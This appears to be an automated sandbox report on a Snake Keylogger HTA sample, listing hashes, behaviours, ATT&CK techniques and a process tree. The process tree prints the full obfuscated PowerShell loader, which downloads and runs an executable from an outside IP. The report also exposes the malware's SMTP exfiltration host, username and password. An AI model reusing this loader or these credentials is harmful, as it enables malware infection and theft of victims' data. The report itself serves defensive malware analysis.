snakekeylogger | f3761ed191aeddf0e23bba17e361229d81547309dac3b451202df849083b7916

Analysis

max time kernel
120s
max time network
126s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
07-10-2024 02:08

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General

Target

f3761ed191aeddf0e23bba17e361229d81547309dac3b451202df849083b7916.hta
Size

116KB
MD5

bac652fa9a932e3f71411fb993010377
SHA1

0dbe1f2b08510b57f0e00189d2355f57e300c47f
SHA256

f3761ed191aeddf0e23bba17e361229d81547309dac3b451202df849083b7916
SHA512

0ab2913b55e1f60cdb26f003d2c17b492385a43bca2d2c5acb1a659c9a5ed3d232eeceb8b0d4b68ffad11599dab9c27d16d1c990f23e54ea3a8ccd73a4de536f
SSDEEP

96:Ea+M73mAWZeuhtAWZDuhogROBHRj/oyYJQAWZSAWZXuhdAWZkAT:Ea+Q3mVkuhtVVuhhRwHxY+VgVFuhdVZT

Score

10^/10

snakekeylogger collection defense_evasion discovery execution keylogger stealer

Malware Config

Extracted

Family

snakekeylogger

Credentials

Protocol: smtp
Host:
mail.teilecar.com
Port:
587
Username:
[email protected]
Password:
Manta924porsche=911
Email To:
[email protected]

Signatures

Snake Keylogger
Keylogger and Infostealer first seen in November 2020.
stealer keylogger snakekeylogger

Snake Keylogger payload 3 IoCs

resource	yara_rule
behavioral1/memory/2688-29-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2688-31-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger
behavioral1/memory/2688-30-0x0000000000400000-0x0000000000426000-memory.dmp	family_snakekeylogger

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2520	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 1 IoCs

defense_evasion execution

pid	Process
2520	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
2792	taskhostw.exe

Loads dropped DLL 1 IoCs

pid	Process
2520	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe
Key opened	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
5	checkip.dyndns.org

AutoIT Executable 1 IoCs

AutoIT scripts compiled to PE executables.

resource	yara_rule
behavioral1/files/0x000a000000016cfe-21.dat	autoit_exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2792 set thread context of 2688	2792	taskhostw.exe	37

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	taskhostw.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2520	powershell.exe
2520	powershell.exe
2520	powershell.exe
2688	RegSvcs.exe
2688	RegSvcs.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2792	taskhostw.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	2688	RegSvcs.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 2700 wrote to memory of 1244	2700	mshta.exe	30
PID 2700 wrote to memory of 1244	2700	mshta.exe	30
PID 2700 wrote to memory of 1244	2700	mshta.exe	30
PID 2700 wrote to memory of 1244	2700	mshta.exe	30
PID 1244 wrote to memory of 2520	1244	cmd.exe	32
PID 1244 wrote to memory of 2520	1244	cmd.exe	32
PID 1244 wrote to memory of 2520	1244	cmd.exe	32
PID 1244 wrote to memory of 2520	1244	cmd.exe	32
PID 2520 wrote to memory of 2856	2520	powershell.exe	33
PID 2520 wrote to memory of 2856	2520	powershell.exe	33
PID 2520 wrote to memory of 2856	2520	powershell.exe	33
PID 2520 wrote to memory of 2856	2520	powershell.exe	33
PID 2856 wrote to memory of 2772	2856	csc.exe	34
PID 2856 wrote to memory of 2772	2856	csc.exe	34
PID 2856 wrote to memory of 2772	2856	csc.exe	34
PID 2856 wrote to memory of 2772	2856	csc.exe	34
PID 2520 wrote to memory of 2792	2520	powershell.exe	36
PID 2520 wrote to memory of 2792	2520	powershell.exe	36
PID 2520 wrote to memory of 2792	2520	powershell.exe	36
PID 2520 wrote to memory of 2792	2520	powershell.exe	36
PID 2792 wrote to memory of 2688	2792	taskhostw.exe	37
PID 2792 wrote to memory of 2688	2792	taskhostw.exe	37
PID 2792 wrote to memory of 2688	2792	taskhostw.exe	37
PID 2792 wrote to memory of 2688	2792	taskhostw.exe	37
PID 2792 wrote to memory of 2688	2792	taskhostw.exe	37
PID 2792 wrote to memory of 2688	2792	taskhostw.exe	37
PID 2792 wrote to memory of 2688	2792	taskhostw.exe	37
PID 2792 wrote to memory of 2688	2792	taskhostw.exe	37

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	RegSvcs.exe

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\f3761ed191aeddf0e23bba17e361229d81547309dac3b451202df849083b7916.hta"
1⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2700
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" "/c PoweRsHElL -EX bYpASs -nOp -W 1 -C DEvICECReDENTiaLDEPlOyMENt.eXE ; IEX($(IEx('[sySTEM.TEXt.enCoding]'+[cHaR]0X3a+[cHAR]58+'UTF8.GetsTRiNG([SyStem.ConVERt]'+[CHaR]58+[cHaR]0x3A+'FrOMBaSE64STriNG('+[cHAr]34+'JGo0Wk9GICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC1UeVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJFckRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdsdm1vRndaWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqc2tJd2FtLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNoYmNnUUd5c1gsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxYVSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHYWp0R0RieE5qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiblhjTm5QandrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFa21xICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqNFpPRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvMjMwL3Rhc2tob3N0dy5leGUiLCIkZU5WOkFQUERBVEFcdGFza2hvc3R3LmV4ZSIsMCwwKTtzVGFSVC1TTEVlUCgzKTtzdGFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcdGFza2hvc3R3LmV4ZSI='+[CHAr]0X22+'))')))"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1244
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    PoweRsHElL -EX bYpASs -nOp -W 1 -C DEvICECReDENTiaLDEPlOyMENt.eXE ; IEX($(IEx('[sySTEM.TEXt.enCoding]'+[cHaR]0X3a+[cHAR]58+'UTF8.GetsTRiNG([SyStem.ConVERt]'+[CHaR]58+[cHaR]0x3A+'FrOMBaSE64STriNG('+[cHAr]34+'JGo0Wk9GICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFkRC1UeVBFICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1lbWJFckRlZmluaVRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJMTU9OLmRMTCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEdsdm1vRndaWSxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBqc2tJd2FtLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFNoYmNnUUd5c1gsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGxYVSxJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBHYWp0R0RieE5qKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiblhjTm5QandrIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYW1lc1BBY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBFa21xICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRqNFpPRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzE3Mi4yNDUuMTIzLjYvMjMwL3Rhc2tob3N0dy5leGUiLCIkZU5WOkFQUERBVEFcdGFza2hvc3R3LmV4ZSIsMCwwKTtzVGFSVC1TTEVlUCgzKTtzdGFydCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRU52OkFQUERBVEFcdGFza2hvc3R3LmV4ZSI='+[CHAr]0X22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2520
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\bqfteuri.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:2856
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA748.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCA747.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2772
  - - C:\Users\Admin\AppData\Roaming\taskhostw.exe
      "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2792
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
        
        "C:\Users\Admin\AppData\Roaming\taskhostw.exe"
        5⤵
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:2688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\RESA748.tmp

Filesize
1KB

MD5
95e92cb11a05fee75d22cef311e895b5

SHA1
0e1b8f24f38a130e25968348858eeace0f2b64e7

SHA256
4de43afa6a2c19a462609ee7e50fd778341ee0e4cd522122a4c471c2202d0dd2

SHA512
d85c6c77694dab99c597689f20f8b2a677d802b8c9c5db305fcc601349ed8e0c60d852f771f8d72fdf453c3f5248243b2276218b0089d0d610b5dade22b08cf0

Download Submit
C:\Users\Admin\AppData\Local\Temp\bqfteuri.dll

Filesize
3KB

MD5
8c9adcd10197f84c25925c59afed7f0c

SHA1
5681071fde97d548cb46ac7f2a62eaa30de053ce

SHA256
845ff926da8095079f4927d108af11801ce716198554a98f57f3cab41b33f2c9

SHA512
b9d31941d68d13cbfed7b661c4f2a891da7792d596e2494cc4f0ddf7cd9b52173965310b56b4c4058a8a21972846f2a775c0ac5e53ad443ba3c4158cf3d06c5c

Download Submit
C:\Users\Admin\AppData\Local\Temp\bqfteuri.pdb

Filesize
7KB

MD5
be0b96c1b919e46d20f59fb64648b550

SHA1
61ec7b5f8dc1d193f08be40686159b4d95a35419

SHA256
3fe6d7c186bb7f4669c7e9bed634f2aecbe73d1a387fae36a8dbe0c839480a38

SHA512
38bdcee06a7b8411ce9220e479ec75ff60903ba08410241ae81bd441be3588dc634886785dfc539c4aaa722f323fdb0593f7c8abd6f53dd2880ec4a85a9fa26f

Download Submit
C:\Users\Admin\AppData\Roaming\taskhostw.exe

Filesize
934KB

MD5
d515411b9a3c0d9fb13b9c6a928a7fd0

SHA1
f940a7302ac76567c15efb1a15d789b42224aac3

SHA256
7b2fcffe77e320517c511f5a3700d8545712475aeb4dc04088537fa8456fec77

SHA512
447a5ab235672a2d067e5792260aa5b978720f8d67ac80bd875e74d7032cb496e3b0463f3c3870bd87d975cddf7f750df35a9ea7aa8aa65f1bd1590d3305c9d6

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCA747.tmp

Filesize
652B

MD5
227fe8811d5b6e2cd964828dd6ef4708

SHA1
1e6126292a2825cf367d3149b2c21e41d6275b96

SHA256
d8d3091ee159ed3c8ba251b46ed8acc4cf9fd3ac854f2b085c5eb9310127ec32

SHA512
de7f32f0f414da11e753341c92da71e2f189cfca204a757598888257656113cfa1c67e23ad0e89a521c7847a20009f173a794db95b1a96a2f4032384dd45f8c2

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\bqfteuri.0.cs

Filesize
489B

MD5
66cd8bc31e61e003cddb2ea81c47016a

SHA1
b9172635caecd693d1476d08c9cecb5777ea49bb

SHA256
0ce2cb15b914d1becfba7f1eed7a96e44610e5b70a8d4a9568ed117d6c3a73dd

SHA512
6dd379fff538ecec3814b2bf5ffb2d3e8d1f5e8da9f79b416cd2ac81b916633122565cb9ce89f3bcbb1acb1da0269ae2977fdd515f74f9ffc8dbcae15a0a15e4

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\bqfteuri.cmdline

Filesize
309B

MD5
37d797a40f4955743215f64f873e90cc

SHA1
d9a09ce2338fe6e535bab18cb25126dd5634aa81

SHA256
daa45779723de602cf6621b6df3d3e94472b83903dfebdcfd0739250bd7146ca

SHA512
72bb1fde2a04f7081b4a073f917f5a3aa755f271ecffc65cce0ce9229ba03c6f84f7ff916f2eec7ac17d1e1d2144e830a6406ff4ee6b6e56f2fefbf2b82463d0

Download Submit
memory/2688-29-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2688-31-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download
memory/2688-30-0x0000000000400000-0x0000000000426000-memory.dmp

Filesize
152KB

Download